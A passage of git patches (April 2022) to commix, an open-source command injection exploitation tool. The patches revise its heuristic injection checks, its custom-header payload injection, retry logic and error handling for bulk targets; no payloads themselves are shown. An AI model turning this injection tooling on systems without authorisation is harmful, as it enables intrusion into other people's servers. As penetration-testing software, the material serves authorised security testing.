src/utils/settings.py | 2 +-
2 files changed, 26 insertions(+), 14 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index d0ddb941cc..bf79b22d96 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -110,7 +110,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
settings.IDENTIFIED_COMMAND_INJECTION = True
- info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
+ info_msg = "Heuristic (basic) tests shows that"
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ info_msg += " " + str(http_request_method) + ""
+ info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
@@ -173,7 +177,11 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
+ info_msg = "Heuristic (basic) tests shows that" + header_name
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ info_msg += " " + str(http_request_method) + ""
+ info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ info_msg += the_type + check_parameter + " might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
@@ -339,6 +347,16 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
+ info_msg = "Setting the"
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ info_msg += " " + str(http_request_method) + ""
+ info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ if header_name == " cookie" :
+ info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests."
+ else:
+ info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests."
+ print(settings.print_info_msg(info_msg))
+
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping heuristic (basic) tests to the target URL."
@@ -374,19 +392,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
pass
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable."
+ warn_msg = "Heuristic (basic) tests shows that" + header_name
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ warn_msg += " " + str(http_request_method) + ""
+ warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ warn_msg += the_type + check_parameter + " might not be injectable."
print(settings.print_bold_warning_msg(warn_msg))
- info_msg = "Setting the"
- if not header_name == " cookie" and not the_type == " HTTP header":
- info_msg += " " + str(http_request_method) + ""
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- if header_name == " cookie" :
- info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests."
- else:
- info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests."
- print(settings.print_info_msg(info_msg))
-
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
menu.options.failed_tries:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 94e5bcf559..1b4de0309e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "23"
+REVISION = "24"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 151dc9c73b7f72199c8dfa5c00a2fb7935ad5fe9 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 6 Apr 2022 08:04:13 +0300
Subject: [PATCH 101/560] Minor fixes and updates
---
src/core/injections/controller/controller.py | 9 +++++++--
src/core/requests/headers.py | 2 +-
src/core/requests/parameters.py | 4 ++--
src/utils/settings.py | 2 +-
4 files changed, 11 insertions(+), 6 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index bf79b22d96..439292785c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -101,7 +101,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
if cookie:
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
- request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
+ request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
+ #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
@@ -144,6 +145,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
pass
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
+ if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
+ payload = _urllib.parse.quote(payload)
+ payload = parameters.prefixes(payload, prefix="")
+ payload = parameters.suffixes(payload, suffix="")
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
@@ -161,7 +166,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
if cookie:
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
- request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
+ request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 8875ce7923..3adf7b5ac5 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -426,7 +426,7 @@ def do_check(request):
settings.CUSTOM_HEADER_NAME = http_header_name
settings.CUSTOM_HEADER_VALUE = http_header_value
# Add HTTP Header name / value to the HTTP request
- if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]:
+ if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False:
request.add_header(http_header_name, http_header_value)
except:
pass
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 8b8974f36d..afcf01ec22 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -389,7 +389,7 @@ def prefixes(payload, prefix):
specify_referer_parameter(menu.options.referer)
elif settings.HOST_INJECTION == True:
specify_host_parameter(menu.options.host)
-
+
# Check if defined "--prefix" option.
if menu.options.prefix:
payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload
@@ -535,7 +535,7 @@ def specify_host_parameter(host):
The Custom http header based injection.
"""
def specify_custom_header_parameter(header_name):
- settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"")
+ header_name = settings.CUSTOM_HEADER_NAME
return header_name
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 1b4de0309e..d5e4e40454 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "24"
+REVISION = "25"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 5dfd74c761620e49514154b929ec8728b352e602 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 7 Apr 2022 09:06:16 +0300
Subject: [PATCH 102/560] Fixes
https://github.com/commixproject/commix/issues/753
---
src/core/injections/controller/parser.py | 13 +++++++------
src/utils/settings.py | 2 +-
2 files changed, 8 insertions(+), 7 deletions(-)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index 16631fee56..91ab8f6b5d 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -88,6 +88,13 @@ def invalid_data(request):
settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:]
settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1]
settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS)
+
+ if os.stat(request_file).st_size != 0:
+ with open(request_file, 'r') as file:
+ request = file.read()
+ else:
+ invalid_data(request_file)
+
except IOError as err_msg:
error_msg = "The '" + request_file + "' "
error_msg += str(err_msg.args[1]).lower() + "."
@@ -95,12 +102,6 @@ def invalid_data(request):
print(settings.print_critical_msg(error_msg))
raise SystemExit()
- if os.stat(request_file).st_size != 0:
- with open(request_file, 'r') as file:
- request = file.read()
- else:
- invalid_data(request_file)
-
single_request = True
pattern = r'HTTP/([\d.]+)'
if len(re.findall(pattern, request)) > 1:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d5e4e40454..b1c3b98565 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "25"
+REVISION = "26"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 3489b2845ed8e9bdebe093f75cff992780b7b50d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 8 Apr 2022 07:52:48 +0300
Subject: [PATCH 103/560] Minor fix
---
src/core/injections/controller/controller.py | 3 ++-
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 439292785c..9697037a1b 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -73,6 +73,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
header_name = " " + str(http_request_method)
settings.CLASSIC_STATE = True
try:
+ whitespace = settings.WHITESPACES[0]
if not settings.IDENTIFIED_COMMAND_INJECTION:
_ = 0
for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
@@ -81,7 +82,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
- payload = checks.perform_payload_modification(payload)
+ payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0])
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
data = None
diff --git a/src/utils/settings.py b/src/utils/settings.py
index b1c3b98565..f6f96b8e88 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "26"
+REVISION = "27"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 139fb17d7398cb2c33a452fbb346992e6c43856d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 9 Apr 2022 08:36:33 +0300
Subject: [PATCH 104/560] Minor fix
---
src/core/requests/headers.py | 18 ++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 9 insertions(+), 11 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 3adf7b5ac5..986a299140 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -127,7 +127,7 @@ def http_open(self, req):
except _http_client.InvalidURL as err_msg:
settings.VALID_URL = False
error_msg = err_msg
- if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2:
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
@@ -147,7 +147,7 @@ def https_open(self, req):
except _http_client.InvalidURL as err_msg:
settings.VALID_URL = False
error_msg = err_msg
- if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2:
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
@@ -158,9 +158,8 @@ def https_open(self, req):
request.get_method = lambda: settings.HTTP_METHOD
_ = False
- current_attempt = 0
unauthorized = False
- while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False:
+ while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 2:
req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:"
@@ -172,24 +171,23 @@ def https_open(self, req):
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
_ = True
+ settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if settings.VERBOSITY_LEVEL < 2:
- if current_attempt != 0:
- info_msg = "Testing connection to the target URL."
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
if settings.INIT_TEST == True and not settings.UNAUTHORIZED:
print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except _urllib.error.HTTPError as err_msg:
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
+ print(settings.SINGLE_WHITESPACE)
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg:
- if current_attempt == 0:
+ if settings.TOTAL_OF_REQUESTS == 1:
if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg):
print(settings.SINGLE_WHITESPACE)
@@ -206,7 +204,7 @@ def https_open(self, req):
print(settings.print_warning_msg(warn_msg))
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
- current_attempt = current_attempt + 1
+ settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
time.sleep(3)
except ValueError as err:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f6f96b8e88..c1ad2ee19d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "27"
+REVISION = "28"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 3b876c139e1d663ae4db2eebed88d2aa05cc1dad Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 10 Apr 2022 09:00:08 +0300
Subject: [PATCH 105/560] Minor update
---
src/core/injections/controller/checks.py | 5 +++--
src/core/main.py | 4 ++--
src/utils/settings.py | 2 +-
3 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 618c1e90a6..fdf2457307 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -295,8 +295,9 @@ def check_connection(url):
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname):
if not any((menu.options.proxy, menu.options.tor, menu.options.offline)):
try:
- info_msg = "Resolving hostname '" + hostname + "'."
- print(settings.print_info_msg(info_msg))
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Resolving hostname '" + hostname + "'."
+ print(settings.print_debug_msg(debug_msg))
socket.getaddrinfo(hostname, None)
except socket.gaierror:
err_msg = "Host '" + hostname + "' does not exist."
diff --git a/src/core/main.py b/src/core/main.py
index e418684cff..b0a22ab88b 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -217,14 +217,14 @@ def check_internet(url):
The init (URL) request.
"""
def init_request(url):
+ # Check connection(s)
+ checks.check_connection(url)
# Number of seconds to wait before timeout connection
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP timeout."
print(settings.print_debug_msg(debug_msg))
if menu.options.timeout:
settings.TIMEOUT = menu.options.timeout
- # Check connection(s)
- checks.check_connection(url)
# Define HTTP User-Agent header
user_agent_header()
# Check the internet connection (--check-internet switch).
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c1ad2ee19d..08b1839ad8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "28"
+REVISION = "29"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From ee6c46a562b129ac6dffcb473fdf2eabb48c9d9f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 11 Apr 2022 08:10:15 +0300
Subject: [PATCH 106/560] Minor update
---
src/core/requests/headers.py | 6 ++++++
src/utils/settings.py | 2 +-
2 files changed, 7 insertions(+), 1 deletion(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 986a299140..d1cc8d46a9 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -129,6 +129,9 @@ def http_open(self, req):
error_msg = err_msg
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
+ if "ssl" in str(error_msg):
+ settings.VALID_URL = False
+ error_msg = "Can't establish SSL connection."
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
raise SystemExit()
@@ -149,6 +152,9 @@ def https_open(self, req):
error_msg = err_msg
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
+ if "ssl" in str(error_msg):
+ settings.VALID_URL = False
+ error_msg = "Can't establish SSL connection."
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 08b1839ad8..19738457d9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "29"
+REVISION = "30"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From bd2326f4bbe954c74933337ee8d4f8bca4860b89 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 12 Apr 2022 07:36:23 +0300
Subject: [PATCH 107/560] Minor update
---
src/core/injections/controller/controller.py | 36 ++++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 19 insertions(+), 19 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 9697037a1b..b99289058c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -362,17 +362,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
else:
info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests."
print(settings.print_info_msg(info_msg))
-
- if menu.options.skip_heuristics:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping heuristic (basic) tests to the target URL."
- print(settings.print_debug_msg(debug_msg))
- else:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Performing heuristic (basic) tests to the target URL."
- print(settings.print_debug_msg(debug_msg))
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if not settings.LOAD_SESSION:
+
+ if not settings.LOAD_SESSION:
+ if menu.options.skip_heuristics:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping heuristic (basic) tests to the target URL."
+ print(settings.print_debug_msg(debug_msg))
+ else:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Performing heuristic (basic) tests to the target URL."
+ print(settings.print_debug_msg(debug_msg))
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
# Check for identified warnings
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
@@ -397,13 +397,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
print(settings.print_error_msg(err_msg))
pass
- if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that" + header_name
- if not header_name == " cookie" and not the_type == " HTTP header":
- warn_msg += " " + str(http_request_method) + ""
- warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- warn_msg += the_type + check_parameter + " might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) tests shows that" + header_name
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ warn_msg += " " + str(http_request_method) + ""
+ warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ warn_msg += the_type + check_parameter + " might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 19738457d9..0fd610dcc3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "30"
+REVISION = "31"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 13 Apr 2022 07:24:51 +0300
Subject: [PATCH 108/560] Minor update regarding scanning multiple targets
given in a textual file (i.e. via option `-m`).
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 94 +++++++++++++++++++++++-------------
src/core/requests/headers.py | 1 +
src/utils/settings.py | 2 +-
4 files changed, 63 insertions(+), 35 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 152b38310a..315075aa8d 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for heuristic detection regarding command injections.
* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point.
* Revised: Improvement regarding injecting into custom HTTP Header(s).
diff --git a/src/core/main.py b/src/core/main.py
index b0a22ab88b..4d7f5dfe20 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -102,7 +102,7 @@ def user_agent_header():
"""
Examine the request
"""
-def examine_request(request):
+def examine_request(request, url):
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
@@ -127,36 +127,27 @@ def examine_request(request):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- except Exception as err_msg:
- if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
- if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
- pass
- elif menu.options.auth_type and menu.options.auth_cred:
- err_msg = "The provided pair of " + menu.options.auth_type
- err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
- err_msg += " seems to be invalid."
- err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
- err_msg += " in order to perform a dictionary-based attack."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- else:
- pass
- else:
- try:
- error_msg = str(err_msg.args[0]).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg).replace(": "," (") + ")."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
except SocketError as e:
if e.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
- print(settings.print_critical_msg(error_msg))
elif e.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
+ else:
+ try:
+ err_msg = str(e.args[0]).split("] ")[1] + "."
+ except IndexError:
+ err_msg = str(e).replace(": "," (") + ")."
+ if menu.options.bulkfile:
+ print(settings.print_critical_msg(err_msg))
+ warn_msg = "Skipping URL '" + url
+ print(settings.print_warning_msg(warn_msg))
+ if settings.EOF:
+ print(settings.SINGLE_WHITESPACE)
+ return False
+ else:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
except _urllib.error.HTTPError as err_msg:
error_description = ""
@@ -164,14 +155,15 @@ def examine_request(request):
error_description = "Non-standard HTTP status code"
err_msg = str(err_msg).replace(": "," (") + error_description + ")."
if menu.options.bulkfile:
- warn_msg = "Skipping URL '" + url + "' - " + err_msg
+ print(settings.print_critical_msg(err_msg))
+ warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
- return False
+ return False
else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
except _urllib.error.URLError as e:
err_msg = "Unable to connect to the target URL"
@@ -181,14 +173,45 @@ def examine_request(request):
err_msg += "."
pass
if menu.options.bulkfile:
- warn_msg = "Skipping URL '" + url + "' - " + err_msg
+ print(settings.print_critical_msg(err_msg))
+ warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
+ except Exception as err_msg:
+ if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
+ pass
+ elif menu.options.auth_type and menu.options.auth_cred:
+ err_msg = "The provided pair of " + menu.options.auth_type
+ err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
+ err_msg += " seems to be invalid."
+ err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
+ err_msg += " in order to perform a dictionary-based attack."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+ else:
+ pass
+ else:
+ try:
+ error_msg = str(err_msg.args[0]).split("] ")[1] + "."
+ except IndexError:
+ error_msg = str(err_msg).replace(": "," (") + ")."
+ if menu.options.bulkfile:
+ print(settings.print_critical_msg(err_msg))
+ warn_msg = "Skipping URL '" + url
+ print(settings.print_warning_msg(warn_msg))
+ if settings.EOF:
+ print(settings.SINGLE_WHITESPACE)
+ return False
+ else:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
"""
Check internet connection before assessing the target.
@@ -207,7 +230,7 @@ def check_internet(url):
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(settings.CHECK_INTERNET_ADDRESS)
- examine_request(request)
+ examine_request(request, url)
except:
print(settings.SINGLE_WHITESPACE)
error_msg = "No internet connection detected."
@@ -288,6 +311,9 @@ def url_response(url):
settings.TOR_CHECK_AGAIN = False
info_msg = "Setting URL '" + url + "' for tests. "
print(settings.print_info_msg(info_msg))
+ # initiate total of requests
+ settings.TOTAL_OF_REQUESTS = 0
+ settings.MAX_RETRIES = 2
request = init_request(url)
if settings.CHECK_INTERNET:
settings.CHECK_INTERNET = False
@@ -297,7 +323,7 @@ def url_response(url):
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
- response = examine_request(request)
+ response = examine_request(request, url)
# Check for URL redirection
if not menu.options.ignore_redirects:
url = redirection.do_check(url)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index d1cc8d46a9..8ed2da1bcf 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -173,6 +173,7 @@ def https_open(self, req):
if menu.options.traffic_file:
req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:"
logs.log_traffic(req_msg)
+
try:
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0fd610dcc3..30d4ea92c1 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
